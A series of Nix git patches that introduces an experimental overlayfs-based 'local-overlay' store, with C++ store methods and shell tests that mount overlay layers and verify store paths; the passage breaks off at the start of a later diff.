From 111aeb9e92263b72478414dfb84c62be21ee64a2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 16 Mar 2023 23:00:14 -0400 Subject: [PATCH 0001/1251] Testing overlayfs stores --- tests/init.sh | 2 +- tests/local.mk | 3 +- tests/overlay-local-store.sh | 3 ++ tests/overlay-local-store/inner.sh | 51 ++++++++++++++++++++++++++++++ 4 files changed, 57 insertions(+), 2 deletions(-) create mode 100644 tests/overlay-local-store.sh create mode 100755 tests/overlay-local-store/inner.sh diff --git a/tests/init.sh b/tests/init.sh index c420e8c9f..2ec5fa1dd 100755 --- a/tests/init.sh +++ b/tests/init.sh @@ -3,7 +3,7 @@ source common/vars-and-functions.sh test -n "$TEST_ROOT" if test -d "$TEST_ROOT"; then - chmod -R u+w "$TEST_ROOT" + chmod -R u+rw "$TEST_ROOT" # We would delete any daemon socket, so let's stop the daemon first. killDaemon rm -rf "$TEST_ROOT" diff --git a/tests/local.mk b/tests/local.mk index 328f27e90..05894727c 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -124,7 +124,8 @@ nix_tests = \ flakes/show.sh \ impure-derivations.sh \ path-from-hash-part.sh \ - toString-path.sh + toString-path.sh \ + overlay-local-store.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh diff --git a/tests/overlay-local-store.sh b/tests/overlay-local-store.sh new file mode 100644 index 000000000..6c0a5f96d --- /dev/null +++ b/tests/overlay-local-store.sh @@ -0,0 +1,3 @@ +source common.sh + +exec unshare --mount --map-root-user overlay-local-store/inner.sh diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh new file mode 100755 index 000000000..fb690a85f --- /dev/null +++ b/tests/overlay-local-store/inner.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +export NIX_CONFIG='build-users-group = ' + +# Creating testing directories + +storeA="$TEST_ROOT/store_a" +storeB="$TEST_ROOT/store_b?real=$TEST_ROOT/merged-store" +storeBTop="$TEST_ROOT/store_b" + +mkdir -p "$TEST_ROOT"/{store_a,store_b,merged-store,workdir} + +# Mounting Overlay Store + +nix-store --store "$TEST_ROOT/store_a" --add dummy +nix-store --store "$TEST_ROOT/store_b" --add dummy + +mount -t overlay overlay \ + -o lowerdir="$TEST_ROOT/store_a/nix/store" \ + -o upperdir="$TEST_ROOT/store_b/nix/store" \ + -o workdir="$TEST_ROOT/workdir" \ + "$TEST_ROOT/merged-store" || skipTest "overlayfs is not supported" + +path_a=$(nix-build '' -A signal-desktop --store "$storeA") + +# Checking for Path in store_a +stat "$TEST_ROOT/store_a/$path_a" + +# Checking for Path in store_b +expect 1 stat "$TEST_ROOT/store_b/$path_a" + +# Checking for Path in merged-store +ls "$TEST_ROOT/merged-store/$(echo "$path_a" | sed 's|/nix/store/||g')" + + +# Verifying path in store_a +nix-store --verify-path --store "$storeA" "$path_a" + +# Verifiying path in merged-store (Should fail) +expect 1 nix-store --verify-path --store "$storeB" "$path_a" + +# Verifying path in store_b (Should fail) +expect 1 nix-store --verify-path --store "$storeBTop" "$path_a" + +path_b=$(nix-build '' -A signal-desktop --store "$storeB") From f0a176e2f1061475546ade22b81343e4b4967568 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 10:20:06 -0400 Subject: [PATCH 0002/1251] Init local overlay store --- src/libstore/local-overlay-store.cc | 20 ++++++++ src/libstore/local-overlay-store.hh | 74 +++++++++++++++++++++++++++++ src/libstore/store-api.cc | 3 ++ 3 files changed, 97 insertions(+) create mode 100644 src/libstore/local-overlay-store.cc create mode 100644 src/libstore/local-overlay-store.hh diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc new file mode 100644 index 000000000..4cb50aef0 --- /dev/null +++ b/src/libstore/local-overlay-store.cc @@ -0,0 +1,20 @@ +#include "local-overlay-store.hh" + +namespace nix { + +LocalOverlayStore::LocalOverlayStore(const Params & params) + : StoreConfig(params) + , LocalFSStoreConfig(params) + , LocalStoreConfig(params) + , LocalOverlayStoreConfig(params) + , Store(params) + , LocalFSStore(params) + , LocalStore(params) + , lowerStore(openStore(lowerStoreUri).dynamic_pointer_cast()) +{ +} + + +static RegisterStoreImplementation regLocalOverlayStore; + +} diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh new file mode 100644 index 000000000..3129bb7a0 --- /dev/null +++ b/src/libstore/local-overlay-store.hh @@ -0,0 +1,74 @@ +#include "local-store.hh" + +namespace nix { + +/** + * Configuration for `LocalOverlayStore`. + */ +struct LocalOverlayStoreConfig : virtual LocalStoreConfig +{ + // FIXME why doesn't this work? + // using LocalStoreConfig::LocalStoreConfig; + + LocalOverlayStoreConfig(const StringMap & params) + : StoreConfig(params) + , LocalFSStoreConfig(params) + , LocalStoreConfig(params) + { } + + const Setting lowerStoreUri{(StoreConfig*) this, "", "lower-store", + R"( + [Store URL](@docroot@/command-ref/new-cli/nix3-help-stores.md#store-url-format) + for the lower store. The default is `auto` (i.e. use the Nix daemon or `/nix/store` directly). + + Must be a store with a store dir on the file system. + )"}; + + const std::string name() override { return "Experimental Local Overlay Store"; } + + std::string doc() override + { + return + "" + // FIXME write docs + //#include "local-overlay-store.md" + ; + } +}; + +/** + * Variation of local store using overlayfs for the store dir. + */ +class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual LocalStore +{ + /** + * The store beneath us. + * + * Our store dir should be an overlay fs where the lower layer + * is that store's store dir, and the upper layer is some + * scratch storage just for us. + */ + ref lowerStore; + +public: + LocalOverlayStore(const Params & params); + + LocalOverlayStore(std::string scheme, std::string path, const Params & params) + : LocalOverlayStore(params) + { + throw UnimplementedError("LocalOverlayStore"); + } + + static std::set uriSchemes() + { return {}; } + + std::string getUri() override + { + return "local-overlay"; + } + +private: + // Overridden methods… +}; + +} diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 8fc3ed46a..c9ea03a1a 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -10,6 +10,7 @@ #include "archive.hh" #include "callback.hh" #include "remote-store.hh" +#include "local-overlay-store.hh" #include #include @@ -1391,6 +1392,8 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para return std::make_shared(params); } else if (uri == "local") { return std::make_shared(params); + } else if (uri == "local-overlay") { + return std::make_shared(params); } else if (isNonUriPath(uri)) { Store::Params params2 = params; params2["root"] = absPath(uri); From f08754a97a22a97fe48da65517f8fb95292ab251 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 14:47:39 -0400 Subject: [PATCH 0003/1251] Progress on tests --- tests/hermetic.nix | 56 ++++++++++++++++++++++++++++++ tests/overlay-local-store.sh | 4 +++ tests/overlay-local-store/inner.sh | 16 +++++++-- 3 files changed, 73 insertions(+), 3 deletions(-) create mode 100644 tests/hermetic.nix diff --git a/tests/hermetic.nix b/tests/hermetic.nix new file mode 100644 index 000000000..7ccd0fd72 --- /dev/null +++ b/tests/hermetic.nix @@ -0,0 +1,56 @@ +{ busybox }: + +with import ./config.nix; + +let + contentAddressedByDefault = builtins.getEnv "NIX_TESTS_CA_BY_DEFAULT" == "1"; + caArgs = if contentAddressedByDefault then { + __contentAddressed = true; + outputHashMode = "recursive"; + outputHashAlgo = "sha256"; + } else {}; + + mkDerivation = args: + derivation ({ + inherit system; + builder = busybox; + args = ["sh" "-e" args.builder or (builtins.toFile "builder-${args.name}.sh" "if [ -e .attrs.sh ]; then source .attrs.sh; fi; eval \"$buildCommand\"")]; + } // removeAttrs args ["builder" "meta" "passthru"] + // caArgs) + // { meta = args.meta or {}; passthru = args.passthru or {}; }; + + input1 = mkDerivation { + shell = busybox; + name = "build-remote-input-1"; + buildCommand = "echo hi-input1; echo FOO > $out"; + }; + + input2 = mkDerivation { + shell = busybox; + name = "build-remote-input-2"; + buildCommand = "echo hi; echo BAR > $out"; + }; + + input3 = mkDerivation { + shell = busybox; + name = "build-remote-input-3"; + buildCommand = '' + echo hi-input3 + read x < ${input2} + echo $x BAZ > $out + ''; + }; + +in + + mkDerivation { + shell = busybox; + name = "build-remote"; + passthru = { inherit input1 input2 input3; }; + buildCommand = + '' + read x < ${input1} + read y < ${input3} + echo "$x $y" > $out + ''; + } diff --git a/tests/overlay-local-store.sh b/tests/overlay-local-store.sh index 6c0a5f96d..c98931118 100644 --- a/tests/overlay-local-store.sh +++ b/tests/overlay-local-store.sh @@ -1,3 +1,7 @@ source common.sh +requireSandboxSupport +[[ $busybox =~ busybox ]] || skipTest "no busybox" +if [[ $(uname) != Linux ]]; then skipTest "Need Linux for overlayfs"; fi + exec unshare --mount --map-root-user overlay-local-store/inner.sh diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index fb690a85f..5079dd0bd 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -11,13 +11,16 @@ export NIX_CONFIG='build-users-group = ' # Creating testing directories storeA="$TEST_ROOT/store_a" -storeB="$TEST_ROOT/store_b?real=$TEST_ROOT/merged-store" +storeB="local-overlay?root=$TEST_ROOT/store_b&lower-store=$TEST_ROOT/merged-store" storeBTop="$TEST_ROOT/store_b" mkdir -p "$TEST_ROOT"/{store_a,store_b,merged-store,workdir} # Mounting Overlay Store +## Restore normal, because we are using these chroot stores +#NIX_STORE_DIR=/nix/store + nix-store --store "$TEST_ROOT/store_a" --add dummy nix-store --store "$TEST_ROOT/store_b" --add dummy @@ -27,7 +30,14 @@ mount -t overlay overlay \ -o workdir="$TEST_ROOT/workdir" \ "$TEST_ROOT/merged-store" || skipTest "overlayfs is not supported" -path_a=$(nix-build '' -A signal-desktop --store "$storeA") +# Add in lower +NIX_REMOTE=$storeA source add.sh + +# Add in layered +NIX_REMOTE=$storeB source add.sh + +#busyboxExpr="\"\${$(dirname "$busybox")}/$(basename "$busybox")\"" +path_a=$(nix-build ./hermetic.nix --arg busybox "$busybox" --store "$storeA") # Checking for Path in store_a stat "$TEST_ROOT/store_a/$path_a" @@ -48,4 +58,4 @@ expect 1 nix-store --verify-path --store "$storeB" "$path_a" # Verifying path in store_b (Should fail) expect 1 nix-store --verify-path --store "$storeBTop" "$path_a" -path_b=$(nix-build '' -A signal-desktop --store "$storeB") +path_b=$(nix-build ./hermetic.nix --arg busybox $busybox --store "$storeB") From d80fc2ac1b39b4d81425d1aa614d4d06e5cd8640 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 16:00:47 -0400 Subject: [PATCH 0004/1251] First round of testing, with todos --- tests/hermetic.nix | 12 ++--- tests/overlay-local-store.sh | 3 ++ tests/overlay-local-store/inner.sh | 85 +++++++++++++++++++----------- 3 files changed, 64 insertions(+), 36 deletions(-) diff --git a/tests/hermetic.nix b/tests/hermetic.nix index 7ccd0fd72..4c9d7a51f 100644 --- a/tests/hermetic.nix +++ b/tests/hermetic.nix @@ -1,4 +1,4 @@ -{ busybox }: +{ busybox, seed }: with import ./config.nix; @@ -21,19 +21,19 @@ let input1 = mkDerivation { shell = busybox; - name = "build-remote-input-1"; - buildCommand = "echo hi-input1; echo FOO > $out"; + name = "hermetic-input-1"; + buildCommand = "echo hi-input1 seed=${toString seed}; echo FOO > $out"; }; input2 = mkDerivation { shell = busybox; - name = "build-remote-input-2"; + name = "hermetic-input-2"; buildCommand = "echo hi; echo BAR > $out"; }; input3 = mkDerivation { shell = busybox; - name = "build-remote-input-3"; + name = "hermetic-input-3"; buildCommand = '' echo hi-input3 read x < ${input2} @@ -45,7 +45,7 @@ in mkDerivation { shell = busybox; - name = "build-remote"; + name = "hermetic"; passthru = { inherit input1 input2 input3; }; buildCommand = '' diff --git a/tests/overlay-local-store.sh b/tests/overlay-local-store.sh index c98931118..242c16e20 100644 --- a/tests/overlay-local-store.sh +++ b/tests/overlay-local-store.sh @@ -3,5 +3,8 @@ source common.sh requireSandboxSupport [[ $busybox =~ busybox ]] || skipTest "no busybox" if [[ $(uname) != Linux ]]; then skipTest "Need Linux for overlayfs"; fi +needLocalStore "The test uses --store always so we would just be bypassing the daemon" + +echo "drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf exec unshare --mount --map-root-user overlay-local-store/inner.sh diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 5079dd0bd..524c801bd 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -10,52 +10,77 @@ export NIX_CONFIG='build-users-group = ' # Creating testing directories -storeA="$TEST_ROOT/store_a" -storeB="local-overlay?root=$TEST_ROOT/store_b&lower-store=$TEST_ROOT/merged-store" -storeBTop="$TEST_ROOT/store_b" +storeA="$TEST_ROOT/store-a" +storeBTop="$TEST_ROOT/store-b" +storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$TEST_ROOT/store-a" -mkdir -p "$TEST_ROOT"/{store_a,store_b,merged-store,workdir} +mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} # Mounting Overlay Store -## Restore normal, because we are using these chroot stores -#NIX_STORE_DIR=/nix/store +# Init lower store with some stuff +nix-store --store "$storeA" --add dummy -nix-store --store "$TEST_ROOT/store_a" --add dummy -nix-store --store "$TEST_ROOT/store_b" --add dummy +# Build something in lower store +path=$(nix-build ./hermetic.nix --arg busybox "$busybox" --arg seed 1 --store "$storeA") mount -t overlay overlay \ - -o lowerdir="$TEST_ROOT/store_a/nix/store" \ - -o upperdir="$TEST_ROOT/store_b/nix/store" \ + -o lowerdir="$storeA/nix/store" \ + -o upperdir="$storeBTop" \ -o workdir="$TEST_ROOT/workdir" \ - "$TEST_ROOT/merged-store" || skipTest "overlayfs is not supported" + "$TEST_ROOT/merged-store/nix/store" \ + || skipTest "overlayfs is not supported" -# Add in lower -NIX_REMOTE=$storeA source add.sh +cleanupOverlay () { + umount "$TEST_ROOT/merged-store/nix/store" + rm -r $TEST_ROOT/workdir +} +trap cleanupOverlay EXIT -# Add in layered -NIX_REMOTE=$storeB source add.sh +toRealPath () { + storeDir=$1; shift + storePath=$1; shift + echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") +} -#busyboxExpr="\"\${$(dirname "$busybox")}/$(basename "$busybox")\"" -path_a=$(nix-build ./hermetic.nix --arg busybox "$busybox" --store "$storeA") +### Check status -# Checking for Path in store_a -stat "$TEST_ROOT/store_a/$path_a" +# Checking for path in lower layer +stat $(toRealPath "$storeA/nix/store" "$path") -# Checking for Path in store_b -expect 1 stat "$TEST_ROOT/store_b/$path_a" +# Checking for path in upper layer (should fail) +expect 1 stat $(toRealPath "$storeBTop" "$path") -# Checking for Path in merged-store -ls "$TEST_ROOT/merged-store/$(echo "$path_a" | sed 's|/nix/store/||g')" +# Checking for path in overlay store matching lower layer +diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$TEST_ROOT/merged-store/nix/store" "$path") +# Verifying path in lower layer +nix-store --verify-path --store "$storeA" "$path" -# Verifying path in store_a -nix-store --verify-path --store "$storeA" "$path_a" +# Verifying path in merged-store +# FIXME should succeed +expect 1 nix-store --verify-path --store "$storeB" "$path" -# Verifiying path in merged-store (Should fail) -expect 1 nix-store --verify-path --store "$storeB" "$path_a" +### Do a redundant add -# Verifying path in store_b (Should fail) -expect 1 nix-store --verify-path --store "$storeBTop" "$path_a" +path=$(nix-store --store "$storeB" --add dummy) -path_b=$(nix-build ./hermetic.nix --arg busybox $busybox --store "$storeB") +# lower store should have it from before +stat $(toRealPath "$storeA/nix/store" "$path") + +# upper store should not have redundant copy +# FIXME should fail +stat $(toRealPath "$storeA/nix/store" "$path") + +### Do a build in overlay store + +path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB") + +# Checking for path in lower layer (should fail) +expect 1 stat $(toRealPath "$storeA/nix/store" "$path") + +# Checking for path in upper layer +stat $(toRealPath "$storeBTop" "$path") + +# Verifying path in overlay store +nix-store --verify-path --store "$storeB" "$path" From 0193c2abcd28cb4f5de73601360a1ba13de633d9 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 16:03:32 -0400 Subject: [PATCH 0005/1251] Improve tests slightly --- tests/overlay-local-store/inner.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 524c801bd..ccf24b7b0 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -63,12 +63,15 @@ expect 1 nix-store --verify-path --store "$storeB" "$path" ### Do a redundant add +# upper layer should not have it +expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") + path=$(nix-store --store "$storeB" --add dummy) # lower store should have it from before stat $(toRealPath "$storeA/nix/store" "$path") -# upper store should not have redundant copy +# upper layer should still not have it (no redundant copy) # FIXME should fail stat $(toRealPath "$storeA/nix/store" "$path") From 31e98ed0a0b43596466f4980a1d3e49bc8e7a928 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 16:48:55 -0400 Subject: [PATCH 0006/1251] Specialize `LocalOverlayStore::registerDrvOutput` --- src/libstore/local-overlay-store.cc | 11 +++++++++++ src/libstore/local-overlay-store.hh | 2 ++ 2 files changed, 13 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 4cb50aef0..2e3564df9 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -15,6 +15,17 @@ LocalOverlayStore::LocalOverlayStore(const Params & params) } +void LocalOverlayStore::registerDrvOutput(const Realisation & info) +{ + // First do queryRealisation on lower layer to populate DB + auto res = lowerStore->queryRealisation(info.id); + if (res) + LocalStore::registerDrvOutput(*res); + + LocalStore::registerDrvOutput(info); +} + + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 3129bb7a0..e5329f5d9 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -69,6 +69,8 @@ public: private: // Overridden methods… + + void registerDrvOutput(const Realisation & info) override; }; } From 5406256d78244cf838eb917c35895035cbe1e402 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 17:30:17 -0400 Subject: [PATCH 0007/1251] Specialize `LocalOverlayStore::queryPathInfoUncached` --- src/libstore/local-overlay-store.cc | 26 ++++++++++++++++++++++++++ src/libstore/local-overlay-store.hh | 3 +++ 2 files changed, 29 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 2e3564df9..545e8d28f 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -1,4 +1,5 @@ #include "local-overlay-store.hh" +#include "callback.hh" namespace nix { @@ -26,6 +27,31 @@ void LocalOverlayStore::registerDrvOutput(const Realisation & info) } +void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept +{ + + auto callbackPtr = std::make_shared(std::move(callback)); + + // If we don't have it, check lower store + LocalStore::queryPathInfoUncached(path, + {[this, path, callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get()); + } catch (...) { + lowerStore->queryPathInfo(path, + {[path, callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get().get_ptr()); + } catch (...) { + callbackPtr->rethrow(); + } + }}); + } + }}); +} + + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index e5329f5d9..12b705efb 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -71,6 +71,9 @@ private: // Overridden methods… void registerDrvOutput(const Realisation & info) override; + + void queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept override; }; } From 59a8099038179d2901a69b122d33d14544cd6e0d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 17:37:40 -0400 Subject: [PATCH 0008/1251] Fix `LocalOverlayStore::queryPathInfoUncached`, FIXME in test --- src/libstore/local-overlay-store.cc | 23 +++++++++++++---------- tests/overlay-local-store/inner.sh | 3 +-- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 545e8d28f..bd48c12e4 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -33,21 +33,24 @@ void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, auto callbackPtr = std::make_shared(std::move(callback)); - // If we don't have it, check lower store LocalStore::queryPathInfoUncached(path, {[this, path, callbackPtr](std::future> fut) { try { - (*callbackPtr)(fut.get()); + auto info = fut.get(); + if (info) + return (*callbackPtr)(std::move(info)); } catch (...) { - lowerStore->queryPathInfo(path, - {[path, callbackPtr](std::future> fut) { - try { - (*callbackPtr)(fut.get().get_ptr()); - } catch (...) { - callbackPtr->rethrow(); - } - }}); + return callbackPtr->rethrow(); } + // If we don't have it, check lower store + lowerStore->queryPathInfo(path, + {[path, callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get().get_ptr()); + } catch (...) { + return callbackPtr->rethrow(); + } + }}); }}); } diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index ccf24b7b0..69c6f6d0c 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -58,8 +58,7 @@ diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$TEST_ROOT/merged-s nix-store --verify-path --store "$storeA" "$path" # Verifying path in merged-store -# FIXME should succeed -expect 1 nix-store --verify-path --store "$storeB" "$path" +nix-store --verify-path --store "$storeB" "$path" ### Do a redundant add From b3d320c5946deb77bc76b86d4b4655ebfd502471 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 May 2023 18:50:16 -0400 Subject: [PATCH 0009/1251] Convert more methods Fixed one test, broke another --- src/libstore/local-overlay-store.cc | 80 ++++++++++++++++++++++++++++- src/libstore/local-overlay-store.hh | 29 +++++++++++ tests/overlay-local-store/inner.sh | 29 ++++++----- 3 files changed, 123 insertions(+), 15 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index bd48c12e4..a98d2e8fd 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -3,6 +3,12 @@ namespace nix { +Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { + auto res = upperLayer + "/" + path.to_string(); + warn("upper path: %s", res); + return res; +} + LocalOverlayStore::LocalOverlayStore(const Params & params) : StoreConfig(params) , LocalFSStoreConfig(params) @@ -30,7 +36,6 @@ void LocalOverlayStore::registerDrvOutput(const Realisation & info) void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, Callback> callback) noexcept { - auto callbackPtr = std::make_shared(std::move(callback)); LocalStore::queryPathInfoUncached(path, @@ -55,6 +60,79 @@ void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, } +void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, + Callback> callback) noexcept +{ + auto callbackPtr = std::make_shared(std::move(callback)); + + LocalStore::queryRealisationUncached(drvOutput, + {[this, drvOutput, callbackPtr](std::future> fut) { + try { + auto info = fut.get(); + if (info) + return (*callbackPtr)(std::move(info)); + } catch (...) { + return callbackPtr->rethrow(); + } + // If we don't have it, check lower store + lowerStore->queryRealisation(drvOutput, + {[callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get()); + } catch (...) { + return callbackPtr->rethrow(); + } + }}); + }}); +} + + +bool LocalOverlayStore::isValidPathUncached(const StorePath & path) +{ + auto res = LocalStore::isValidPathUncached(path); + if (res) return res; + return lowerStore->isValidPath(path); +} + + +void LocalOverlayStore::addToStore(const ValidPathInfo & info, Source & source, + RepairFlag repair, CheckSigsFlag checkSigs) +{ + LocalStore::addToStore(info, source, repair, checkSigs); + if (lowerStore->isValidPath(info.path)) { + // dedup stores + deletePath(toUpperPath(info.path)); + } +} + + +StorePath LocalOverlayStore::addToStoreFromDump(Source & dump, std::string_view name, + FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) +{ + auto path = LocalStore::addToStoreFromDump(dump, name, method, hashAlgo, repair, references); + if (lowerStore->isValidPath(path)) { + // dedup stores + deletePath(toUpperPath(path)); + } + return path; +} + + +StorePath LocalOverlayStore::addTextToStore( + std::string_view name, + std::string_view s, + const StorePathSet & references, + RepairFlag repair) +{ + auto path = LocalStore::addTextToStore(name, s, references, repair); + if (lowerStore->isValidPath(path)) { + // dedup stores + deletePath(toUpperPath(path)); + } + return path; +} + + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 12b705efb..c087b3893 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -22,6 +22,12 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig for the lower store. The default is `auto` (i.e. use the Nix daemon or `/nix/store` directly). Must be a store with a store dir on the file system. + Must be used as OverlayFS lower layer for this store's store dir. + )"}; + + const Setting upperLayer{(StoreConfig*) this, "", "upper-layer", + R"( + Must be used as OverlayFS upper layer for this store's store dir. )"}; const std::string name() override { return "Experimental Local Overlay Store"; } @@ -34,6 +40,12 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig //#include "local-overlay-store.md" ; } + + /** + * Given a store path, get its location (if it is exists) in the + * upper layer of the overlayfs. + */ + Path toUpperPath(const StorePath & path); }; /** @@ -74,6 +86,23 @@ private: void queryPathInfoUncached(const StorePath & path, Callback> callback) noexcept override; + + bool isValidPathUncached(const StorePath & path) override; + + void addToStore(const ValidPathInfo & info, Source & source, + RepairFlag repair, CheckSigsFlag checkSigs) override; + + StorePath addToStoreFromDump(Source & dump, std::string_view name, + FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) override; + + StorePath addTextToStore( + std::string_view name, + std::string_view s, + const StorePathSet & references, + RepairFlag repair) override; + + void queryRealisationUncached(const DrvOutput&, + Callback> callback) noexcept override; }; } diff --git a/tests/overlay-local-store/inner.sh b/tests/overlay-local-store/inner.sh index 69c6f6d0c..d9d3b76cf 100755 --- a/tests/overlay-local-store/inner.sh +++ b/tests/overlay-local-store/inner.sh @@ -12,7 +12,7 @@ export NIX_CONFIG='build-users-group = ' storeA="$TEST_ROOT/store-a" storeBTop="$TEST_ROOT/store-b" -storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$TEST_ROOT/store-a" +storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" mkdir -p "$TEST_ROOT"/{store-a,store-b,merged-store/nix/store,workdir} @@ -71,18 +71,19 @@ path=$(nix-store --store "$storeB" --add dummy) stat $(toRealPath "$storeA/nix/store" "$path") # upper layer should still not have it (no redundant copy) -# FIXME should fail -stat $(toRealPath "$storeA/nix/store" "$path") +expect 1 stat $(toRealPath "$storeB/nix/store" "$path") -### Do a build in overlay store +## Ooops something went wrong -path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB") - -# Checking for path in lower layer (should fail) -expect 1 stat $(toRealPath "$storeA/nix/store" "$path") - -# Checking for path in upper layer -stat $(toRealPath "$storeBTop" "$path") - -# Verifying path in overlay store -nix-store --verify-path --store "$storeB" "$path" +## ### Do a build in overlay store +## +## path=$(nix-build ./hermetic.nix --arg busybox $busybox --arg seed 2 --store "$storeB") +## +## # Checking for path in lower layer (should fail) +## expect 1 stat $(toRealPath "$storeA/nix/store" "$path") +## +## # Checking for path in upper layer +## stat $(toRealPath "$storeBTop" "$path") +## +## # Verifying path in overlay store +## nix-store --verify-path --store "$storeB" "$path" From ddaf2750b5af28d56b99f79d3ac20ae11d3464d3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 May 2023 10:22:38 -0400 Subject: [PATCH 0010/1251] Specialize more methods, fix tests --- src/libstore/local-overlay-store.cc | 30 +++++++++++++++++++++++++---- src/libstore/local-overlay-store.hh | 2 ++ src/libstore/local-store.hh | 2 +- tests/overlay-local-store/inner.sh | 26 ++++++++++++------------- 4 files changed, 41 insertions(+), 19 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index a98d2e8fd..ad1947698 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -4,9 +4,7 @@ namespace nix { Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { - auto res = upperLayer + "/" + path.to_string(); - warn("upper path: %s", res); - return res; + return upperLayer + "/" + path.to_string(); } LocalOverlayStore::LocalOverlayStore(const Params & params) @@ -91,7 +89,31 @@ bool LocalOverlayStore::isValidPathUncached(const StorePath & path) { auto res = LocalStore::isValidPathUncached(path); if (res) return res; - return lowerStore->isValidPath(path); + res = lowerStore->isValidPath(path); + if (res) { + // Get path info from lower store so upper DB genuinely has it. + LocalStore::registerValidPath(*lowerStore->queryPathInfo(path)); + } + return res; +} + + +void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) +{ + // First, get any from lower store so we merge + { + StorePathSet notInUpper; + for (auto & [p, _] : infos) + if (!LocalStore::isValidPathUncached(p)) // avoid divergence + notInUpper.insert(p); + auto pathsInLower = lowerStore->queryValidPaths(notInUpper); + ValidPathInfos inLower; + for (auto & p : pathsInLower) + inLower.insert_or_assign(p, *lowerStore->queryPathInfo(p)); + LocalStore::registerValidPaths(inLower); + } + // Then do original request + LocalStore::registerValidPaths(infos); } diff --git 